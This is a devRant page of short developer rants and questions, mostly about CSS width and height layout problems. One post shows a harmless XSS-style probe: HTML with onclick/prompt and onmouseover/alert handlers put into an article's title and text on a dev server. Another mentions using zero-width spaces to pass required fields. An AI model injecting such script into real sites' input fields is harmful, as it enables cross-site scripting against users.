> For any specific issues you encounter in Safari, consider checking for known bugs or quirks that might affect pseudo-elements and their sizing. Online resources, developer forums, and documentation can provide valuable insights into Safari-specific behavior and workarounds.
3 -
Finally finished an algo to check an image for grouping of pixels that will form a rectangular area. I got the grouping to work on one image, but found it was utterly failing on another. I went through every step of the algo and still could not find the solution. The 128x128 image was working, but the 128x16 image was not. I knew it had something to do with the dimensions. Started thinking it was overflowing a buffer somewhere. So I started putting asserts in the functions that abstracted the buffer access. None of the numbers exceeded the proper bounds. It was close to bedtime so I finally gave up. I was tired. Then I realized it wouldn't be until the next evening when I could look at this again. So I got up again and started looking at the code again. I had a loop to check the output of my algo that I did the memory access of the buffer. It too was not fully filling my temp image to show how the algo was working. WTF!
Then I finally realized the flaw:
buffer[x+y*height]
And my test loop to test the algo:
buffer[x+y*ymax]
I kept overlooking the error because I was sure it was right. Also my asserts for the functions to access the buffers? They only checked the inputs x and y. So it didn't help that the math was wrong for reading and writing the buffers. It also worked fine on 128x128 images because the width and height were the same.
It is funny that I struggled with this part. The algo was actually surprisingly easy to formulate. I just looked through every point and checked a buffer to see if that point was used. If not then I would attempt to grow in the x and y direction the shaped of that point based upon pixel color. This was saved in a structure while growing that point. Then when that rectangle could not be grown further the inner loop would continue checking used points again.
I still have work to do to use the data this algo produces. I need to now figure out how to parent the rectangular areas to each other. I will probably use my check buffer to keep track of these rects by an index. Then do adjacent checks to determine parenting. Eventually I will have to extend this algo to 3 dimensions, but that should not be difficult.2 -
Got a question guys!
I want to capture screenshots from a live video stream being broadcast over HTTPS, such as the one on this link:
https://open.ivideon.com/embed/v2/...=
I can do it locally using the chrome webdriver in selenium, but cannot reproduce the same in a server I'm accessing remotely. I tried using headless browsers like phantomJS, but apparently it doesn't support video players -_-
I'm confused because I don't even know what to search for anymore, I've been stuck with this one thing for the last 17 hours. Any help would be greatly appreciated!5 -
This sort of CSS failure:
div { display: inline-block; width: 50%; }
span { display: inline-block; width: 50%; }
<div>go left</div>
<span>go right dammit</span>8 -
Even with auto prefixing and linters, css is always a headache when you have to support any version of Internet Explorer.
Images go to their original size, even with fixed width/height.
Nothing has changed.1 -
My main problem with programming on android phones(not for android) is it's keyboard, almost none of default layouts don't have the needed buttons(i.e. ; [ ] ( ) ...), I managed to find a good one "Hacker's Keyboard", 5 rows almost every button(even shift, ctrl and arrow keys). But here's the problem with this: it's buttons width is very low on portrait mode, on landscape, even if you're used to lanscape typing, you won't be able to see shit because it's covering most of screen.
"Hey, what about an external keyboard", well it's not totally a bad idea, but you would need a stand for your phone, and if it's connecting via usb and not bt, you have to buy a usb2[yourPort] convertion, besides I want to hold my phone while typing "How about you make you make your own bt/usb attachable mini keyboard for your phone.", Wow that's a very good idea, it would take maybe a year to make it, but maybe instead of making the whole thing myself I can buy a mini keyboard and make the attaching part myself, it can't be THAT hard, right? Need a 3D printer(√), need time(have alot of it), need to design it(no problem), now start... uhhh nevermind, who am I kiddin', I won't be able to make such a thing, just use that "Hacker's Keyboard".24 -
Has there ever been a reason to have a textarea that stretches past 100% width of it's parent? Go ahead and add max-width: 100% to your reset.
-
My company design floor plan and some photoshop work for clients.
One project was to resize the image to certain width and height and place it in the center of the photo with padding 40px around.
I wrote an extended script of Adobe to help the design department and process thousand of images within an hour.
My Boss was so impressed and have a meeting with me. He said: "You need to lead IT department and create a system that can detect the client's requirement and complete the drawing with Adobe Illustrator automatically".
Me: Thinking (Meh, I have no knowledge of Image Processing with my poor Mathematics, where can I die with his requirements?) -
Running a small company. All of us work from home. I am a designer and coder in one person, but now mostly taking care of cash flow, work done etc., while I have my dear girlfriend as only designer and an old friend as only front/backend developer. We are doing mainly small presentation websites on drupal, and a lot of webdesign.
Now I want to ask more experienced devs here. As the "main guy" I am responsible for everything running smooth with clients, money flow etc. But I am constantly running in a serious problem with my developer.
He most of the time gets the job done. But it is as fucked as possible. It looks good at the first view, but when you check the code... Oh god. Not only once he wrote me he did the job and when I checked it, it was like 50 percent done and rest was let untouched. He is using the oldest approaches in css as possible. Most of the time setting fixed widths even when I told him not to do so. Thing is, he knows how to do it properly, but he rather set the fixed width for all the devices than write something more scalable (imagine fixed width buttons, now imagine a website with 5 translations and now imagine how it behaves on mobile phones).
I want to be in a state where my dev writes me he did the job and I can INSTANTLY pass the changes to client with a trust of good done work. Without checking constantly all the work after him. Or it is normal and it works like that everywhere?
As to mention, I think he is pretty good paid and this is not money problem. It even does not look like he is demotivated or anything. When I speak to him it looks more like he is lazy to learn new things and lazy to do a good work. What would you suggest? Thanks4 -
So this rant:
https://devrant.com/rants/3969110/...
introduced me to the unicode's "zero width space". Lately I've been using it to cheat on "required" fields in forms. Hahaha thanks!4 -
Why does adding "width" to a fixed element, move said element?
it should RESIZE not move, the element!2 -
First assignment after I learned about if-else-then and for loops: draw swastika with modifiable width variable2
-
So GitHub's "Repository Refresh" layout is live now and they haven't fixed the damn .repohead (with the repo name and the links to Issues, Pull Requests, etc.) stretchting across the entire screen instead of being constrained to the middle column :/
If it annoys you just as much as it does me, just wack this CSS into a user css extensions and it's fixed:
.repohead .d-flex:first-of-type {
max-width: 1280px !important;
margin-left: auto !important;
margin-right: auto !important;
}
.repohead nav.js-repo-nav {
max-width: 1280px !important;
margin-left: auto !important;
margin-right: auto !important;
}
.repohead .UnderlineNav {
/* Remove repohead bottom divider */
box-shadow: none;
background-color: transparent !important;
}
.repohead {
/* Add repohead bottom divider to repohead so it stretches across the entire screen */
box-shadow: inset 0 -1px 0 #e1e4e8;
}9 -
I just want the css to limit the maximum horizontal width of a table OMG NO WORDPRESS DON'T GIVE ME ANOTHER FUCKING PLUGIN FOR THIS2
-
Following from https://devrant.com/rants/1516205/...
My emacs journey day 0-1
0: quickly realised what I was getting myself into, wow that is a learning curve. Head is buzzing with different key commands (and thank you to everyone who's helped out in my original post). I've been here before with Vim, but it's so hard when I am proficient with another editor, one of the most difficult aspects is getting it set up to even format my code appropriately (the right tab width etc), but I press on, something tells me it will be worth it in the end.
1: I come across a tutorial for clojure and emacs (https://braveclojure.com/basic-emac...), this looks good, oh sweet it shows how to load a good configuration, some more useful commands, feels like I'm getting there. Then it hits me, I manage to put my finger on why I decided to take the plunge: emacs isn't an editor at heart, at its heart is lisp. From its core it is scripted using one of the most powerful types of languages. Rather than some bolted on domain specific scripting language.
Now the real learning begins.2 -
All app/web layout designers, I need your help with layouts for my app. I am struggling with a very specific thing: image sizes. What are the general guidelines for touch devices and windowed programs? Should I eyeball the max width and height? What if it's on desktop and I am making the window larger / smaller?
Any help is absolutely appreciated, I had perfect success in all of what I worked on in the app until now except this. I just can't get it right.5 -
I remember playing games like wolfenstein3D, supaplex, sokoban etc. on our family computer 486 which had as I remember around 100mhz processor. (120mhz in TURBO mode)
Yeah and I did created a few levels in wolfenstein, there was a simple editor.
From programming view I did code my first website only using html and inline css in early 2000s. However internet was a thing of a rich people back then (in my country), so my brother downloaded the whole website with docs and basics of html/css/js for me in collage. My first website was coded on 300mhz pentium2 (or 3?) with no internet connection, took me about a two months to complete and was total mess. But was graphically satisfying with nice gifs which took tens od seconds to download. Main container had 600px width and looked pretty good on my 800x600 resolution.
I still remember messing with BOM signature because of notepad could not save a file without BOM. Leaving all utf8 chars as mess after saving.
Good old times. -
FLUTTER
I want to reduce the width(length) of a Slider widget. (Seekbar). I want to display time labels and some icon button on the sides...
It’s overflowing in a row...
Anyone any pointers or alternative ideas pls :( -
Why use a standard tab width when we can all have our own unique preferences? Let's make it a surprise party every time we open a file. I just love adjusting my editor settings for every repo. Keeps me on my toes!2
-
It is surprisingly difficult to make two things equally high in css (without putting height in pixels). Like two columns of a parent div. You can't use "height: 100%;" out of the box like you can with width.
Why though? I understand that height is more difficult that width. But the parent element has a height. Not by me, but the browser figures it out. So why can't something inside it be 100 % of it. Beats me.
Well at least it works now. -
It's CSS quick maffs time! Consider the following code:
<div class='container flex'>
<nav class='menu flex'>
<a href='#'>Menu item 1</a>
(arbitrary amount of links)
</nav>
<button type='button'>Sign in</button>
</div>
You want the layout to look like a horizontally scrolling, single line menu with a Sign in button to the right. Both container and menu are flex containers. So, here's the code for the menu:
.menu {
overflow: auto;
}
The problem is, as there is no flex-wrap, menu will not be wrapped, and it will occupy all the space it's needed to accommodate all the elements, breaking its container. Pesky horizontal scroll appears on the whole body.
Boubas will set menu's width to some fixed value like 800px, and this is a bouba approach because bye-bye responsiveness.
Here's what you should do:
.menu {
overflow: auto;
min-width: 0;
}
.menu * {
flex-shrink: 0;
}
This way, menu will occupy exactly the width of an empty div. In flexbox, its width will be equal to all free space that is not occupied by the Sign in button. Setting flex-shrink is needed for items to preserve their original width. We don't care about making those items narrower on narrower screens, because we now have infinite amount of horizontal real estate. Pure, inherent responsiveness achieved without filthy media queries, yay!
The menu will scroll horizontally just like you wanted.
aight bye14 -
different browsers rendering same things differently...
i have a slider with a given width of 7em. in edge it renders as i want it to, chrome fucks it up and makes it way smaller and display way off position and its parent div is way too big, firefox is somehow between those 2? all browsers are scaled to 100% 😥😒4 -
A year ago I built my first todo, not from a tutorial, but using basic libraries and nw.js, and doing basic dom manipulations.
It had drag n drop, icons, and basic saving and loading. And I was satisfied.
Since then I've been working odd jobs.
And today I've decided to stretch out a bit, and build a basic airtable clone, because I think I can.
And also because I hate anything without an offline option.
First thing I realized was I wasn't about to duplicate all the features of a spreadsheet from scratch. I'd need a base to work from.
I spent about an hour looking.
Core features needed would be trivial serialization or saving/loading.
Proper event support for when a cell, row, or column changed, or was selected. Necessary for triggering validation and serialization/saving.
Custom column types.
Embedding html in cells.
Reorderable columns
Optional but nice to have:
Changeable column width and row height.
Drag and drop on rows and columns.
Right click menu support out of the box.
After that hour I had a few I wanted to test.
And started looking at frameworks to support the SPA aspects.
Both mithril and riot have minimal router support. But theres also a ton of other leightweight frameworks and libraries worthy of prototyping in, solid, marko, svelte, etc.
I didn't want to futz with lots of overhead, babeling/gulping/grunting/webpacking or any complex configuration-over-convention.
Didn't care for dom vs shadow dom. Its a prototype not a startup.
And I didn't care to do it the "right way". Learning curve here was antithesis to experimenting. I was trying to get away from plugin, configuration-over-convention, astronaut architecture, monolithic frameworks, the works.
Could I import the library without five dozen dependancies and learning four different tools before getting to hello world?
"But if you know IJK then its quick to get started!", except I don't, so it won't. I didn't want that.
Could I get cheap component-oriented designs?
Was I managing complex state embedded in a monolith that took over the entire layout and conventions of my code, like the world balanced on the back of a turtle?
Did it obscure the dom and state, and the standard way of doing things or *compliment* those?
As for validation, theres a number of vanilla libraries, one of which treats validation similar to unit testing, which seems kinda novel.
For presentation and backend I could do NW.JS, which would remove some of the complications, by putting everything in one script. Or if I wanted to make it a web backend, and avoid writing it in something that ran like a potato strapped to a nuclear rocket (visual studio), I could skip TS and go with python and quart, an async variation of flask.
This has the advantage that using something thats *not* JS, namely python, for interacting with a proper database, and would allow self-hosting or putting it online so people can share data and access in real time with others.
And because I'm horrible, and do things the wrong way for convenience, I could use tailwind.
Because it pisses people off.
How easy (or hard) would it be to recreate a basic functional clone of the core of airtable?
I don't know, but I have feeling I'm going to find out!1 -
Me clicking on "New article" ...
Title:
<span onclick='return 1248 == prompt('When the construction of the Cologne Cathedral started?');">Click me to open the treasure</span>
Text:
<span onmouseover="alert('No?');" style="width:100%;height:500px;">It's ok that every editor can insert arbitrary HTML?</span>
Don't worry, it's a dev server but still bad to see -
#justathought
What do people need? What will be the requirements of future?
App development, webdev, blockchain,.. snapchat, tiktok, insta... These are all just careers and apps whose sole purpose is to engage people with their phones... Every new app/website in the market wants to make the youngest of the young and oldest of the old to keep their eyes fixed on this glass screen for as long as they can... For the current decade, this has been the most successful market and profitable scheme of business in the world, leaving other careers like medical, astronomy, mechanics., Etc far behind.
So is this the future? In the next generation too we will be having users who are addicted to smaller and smaller and larger and larger screens, with their spectacle width thickening ... Or are we going to shift to some other form of business?3 -
I just don't get why CSS shorthands don't get to follow the X-Y pattern, such as margin 10px 5px, as 10px for width and 5px height. WHY DOES IT HAVE TO BE THE INVERSE?
I don't use CSS very often, but when I do, I remember how stupid and nonsense that is.1 -
I have never seen such a requirement, but unlike a lot of you guys, I haven't worked professionally as yet. Have any of you seen anything like this?
"The Prototype at this stage is responsive, following a minimum width spec of 320 pixels. *The prototype interface is fully operational using Browser Zoom levels from 75%-150%*. Layout must conform to the grid at these settings."2 -
Enabling browser userscripts on Android is not an evident procedure for novice users.
It's annoying if people do want this functionality to change how web pages behave, e.g. they want to fix a broken banner on mobile that doesn't have max-width: 100% but instead crops off on the page.
At this current time, Firefox changed their engine so that it supports only a limited set of add-ons and you'd have to use a nightly build in order to enable other add-ons such as userscript ones.
Chrome doesn't accept add-ons/extensions.
And there's the JavaScript trick but again, not user-friendly.
It's just annoying.2 -
I know it doesn't really apply because we have widescreen monitors now, but regardless, I hate seeing code that runs the width of the screen, I'd much rather have more lines than more columns. Viva la vertical!5
-
*me trying to fix the preview issue by editing layout file*
*issue gets fixed by clean build*
*me implementing a new feature as per plan*
*suddenly another issue occurs with the items in recycler view*
*tries SO, no related question and me too scared to ask one*
*trying different names, keywords, ids and methods to get atleast some output*
*checks json and recycler adapter, all fine but still the error*
*hello darkness my old friend*
*checks the item layout again with a microscopic look and encounters a 0 added to layout width which makes 95dp to 950dp and hence no output somehow*
*2 hours and sunday mood wasted* -
Just wasted 3hrs trying to figure why a TabContainer is taking 0px height and 0px width. Solution- override resize() and don't do anything in it. Hatred towards DOJO to a new height.
-
Thanks CSS, not sure if I should but I am using ‘vw’ unit for font-size on desktop as it scales according to browser width. It works a treat and saved some shitty reflow breakpoint requirements. Until someone tells me it’s a shit idea, i’m gonna use the fuckr.5
-
Doing some stupid shit-ass presentation on powerpoint. I hate this kind of work, so brainless.
PM doesn't know anything on how to create presentations, each slide has 150k words at size 10, bazillion images with a width of 1x1, and badly taken/prepared. Fonts sizes are all different (still surprised she managed to keep the same font family) between blocks.
And when I tell her that: "well I expect from you to make to make that kind of suggestions and fixing it".
How to waste a brain. Going to spend my whole day on fixing this mess.
Plus at some point she had some keywords and she had the idea of "oh, let's make a word cloud thingy". All of these tools are useless, the only decent one is "PLEASE PAY TO DOWNLOAD YOUR SHITTY CLOUD". Won't pay a shitty dime for your shitty app that I'll use once in my entire life, plus your shitty shit is overpriced.
Today's going to be a bad day.1 -
I found the weirdest UI bug.
I have a side nav bar, that opens on button click. The way it is implemented: a navbar, that is positioned a lot to the left (120% of it's width). On click, it transitions to 0%.
When I zoom in very close without the sidebar opened on an image, some text from the sidebar is visible.
Pretty weird..1 -
Enjoyed doing frontend until I spent basically an entire workday on text that needs to resize based on width with shitty workarounds and all
i want to be a backend dev again fml
also, fuck you ant design for not giving me full control.5 -
That would be the !important rule, when the client wants some ui change but the stupid library has !important rule applied.. and also the media queries in combination with width/height and percentages, trying to adapt the ui because the client ones ie8 support..
-
Hey mobile devs, what is your stance towards these font and display size system settings ?
Like i tried putting those settings to max and most of my app's ui is broken beyond repair. Even small margins like 16dp takes more space than the width of my usb cable wire.
I personally like keep my fonts and screen sizes to min. Thus my apps look sweet on my phone, a little meh on average phones with default settings , and downright unusable if i put the settings to max.
So these days i test them for even the largest of settings and often end up with hacks for max settings or compromising the design for min settings.
So how do you keep a balance?
4 -
I had to generate different kinds of graphs at compiletime and had to compile a graph and write down the code size for that specific width/height in addition to one of three implementations which all need to be evaluated. I computer scienced the shit out of it!
I wrote some Rust code that easily lets me build some graphs with the dimensions passed as input parameter. Then i wrote a method that converts the graph into the definition of the graph in a C header (sadly the only way) and wrote a bash script that executes that rust code with all possible dimensions and saves the header into my source folder. Then i build the application and write the programsize into a file.
In the next step i run a python script that reads all the generated files with the sizes and created a csv file which in turn can be used by excel/numbers to visualize the dependency between depth of graph and code size 😄
I had only some hours for it all, it is messy but works 😄 -
Ok just wanna share things that got me stuck for hours on my recent project and their solution. I hope it’s gonna help someone.
To start with, when I was implementing svg to png, i set an image object’s source with a data url. Normally this is going to trigger the onload hook. However for some fucked up reason it never triggered. The solution is to use setAttribute function and then the hook will be triggered.
Second, you can get rounded triangle by setting stroke width and set stroke linejoin and line cap as round. But remember, if stroke width is 6, then it’s 3 inside and 3 outside.
Third, if you have a rotation of svg element, and later on you want to manually compute the rotated point’s position, it’s most likely some vanilla code is not going to work. You see, when you rotate for x degree, it is actually rotating -x degree. I’m not sure if it’s a bug of my code, but it’s there.
And now the worst thing: if you look up how transform on svg is performed, stackoverflow is going to tell you it’s by order. But that’s somehow not true for my project. If I do set transform to do translation then rotation, the order it was applied is actually reversed. It’s rotation first then translation, like ffs why? Who the fuck said it was in order? It’s clearly in reverse fucking order.
Ok last thing, you can scale svg around it’s center, but absolutely don’t do that because it’s gonna fuck up tanslation and rotation applied to this svg. If you need to scale, translate it first then scale it will be better.
Anyway just some things i encountered. I’m gonna stay away from svg for at least two months now1 -
I was learning gw basic in school.
Instructor showed us how to draw a circle. I started graphics mode, set red as primary color and gave a loop to the circle, which reduced width at every iteration and turned it into an ellipse.
Woah .... That was the best Opera logo I ever saw -
I want some help with media queries I am new and learning so please don't bash me up :
Here is my css code I want to know how to solve the issue :
/* About Section */
.about
{
height:600px;
padding:50px;
display: flex;
flex-direction: row;
justify-content: space-between;
align-items: center;
}
.abouttext
{
position: relative;
padding: 0 50px;
height: inherit;
}
.abouttext h1
{
position: relative;
left: 230px;
}
.abouttext img{
width:20vw;
position: absolute;
top:50px;
}
.aboutlist
{
width:50%;
}
ol
{
list-style: none;
color: #e0501b;
}
ol li
{
font-size: 34px;
position: relative;
margin-bottom: 20px;
}
li p
{
font-size:16px;
color:#000;
padding-left:60px;
line-height:30px;
opacity:0.6;
}
li span
{
float: right;
position: absolute;
line-height: 25px;
font-weight: 600;
}
4 -
This is a question and a rant
I have to get temperature readings from an andriod app written in ionic angular to a webpage written apache wicket... No, I don't have any control over either stack.
The kicker is the wicket app isn't even run properly attached to a domain, it's just run from a box at the client and then the client machines connect through <server ip>:8080/appname
Which means I can't solve my problem by simply having the website and app on the same domain and then use local storage...
I have tried
Ionic
window.postMessage({ type: 'temperatureData', data: tempFormatted }, '*');
Test it from this page
<!-- index.html (web page) -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Web Page</title>
</head>
<body>
<h1>Temperature Data</h1>
<p id="temperatureData">Loading...</p>
<script>
// Listen for messages from the Ionic app
window.addEventListener('message', (event) => {
if (event.data.type === 'temperatureData') {
// Update the temperature data on the page
document.getElementById('temperatureData').textContent = event.data.data;
}
});
</script>
</body>
</html>
Which does not work, the page fails to pick the data.
So my rant is the situation. M question is does anyone have any ideas?7 -
Why on earth would you create an entire new HTMLImageElement in the javascript file just to get the width and height of an image and never render it to the DOM. FFS use MS Paint, 3D Paint or ANY OTHER IMAGE EDITING SOFTWARE to get the size.
Seriously you over engineered the shit out of the easiest const you'll ever write in JavaScript.
And for the record, the width and height of the image used are only used in formulas which produce the actual width and height of the mock buttons that get drawn onto the canvas element. And don't worry, the click event handler for these mock buttons is actually the click event handler for the canvas...which checks the coordinates of where the click was made on the canvas. And if the click is over where the button is drawn in, congrats you clicked the button. -
Being a Mac user (desktop), when I have a browser window open I NEVER have it occupy full width, usually around 2/3rds width of monitor. Now a client sending me screen grabs from PC always have their browser window absolute max width. Is this a normal thing for PC users? just intrigued, am I the odd ball here?7
-
What's your way of arranging open code files in your IDE's window?
I usually have 2-3 code files open side by side and keep the lines at a maximum of 80-120 characters.
Other devs I know mostly have only one file open in full width at any given time... which I can't wrap my head around.1 -
Hey three, ..hey Three....., hey THREE!
Why does your mesh scale method take
Height......
First?
Have you heard of x?
How about y?
Maybe x,y?
Maybe width,height?
BUT HEIGHT?
THEN WIDTH?
WTF -
My coding style is mostly influenced by good old personal preference, but also because of a certain internship where there was a lot of gain to be had by making everything as reusable and testable as possible.
I guess you could say my motto is usability, readability and flexibility:
I like tidy, reusable code with an emphasis on keeping code readable. I've always liked modular things I guess...
And I despise two things: curly brackets on the next line and spaces for indentation... But way worse is having no brackets at all (looking at you Python): it's clearer to have lower-level code inside some sort of "container" markers i.e. brackets (also gives more IDE functionality like color-coding hierarchically).
Indentation should always be tabs so anyone can have their own width of indentation set through their IDE, making it way more accessible to fellow colleagues!
And I also like having parameterized code over hard-coded functions: way more flexible. -
Why doesn't height:100% of an element follow the height of its parent that has a max-height value set? Width works just fine.
A minor annoyance, but an annoyance anyhow.2
Top Tags
Weekly Rant
View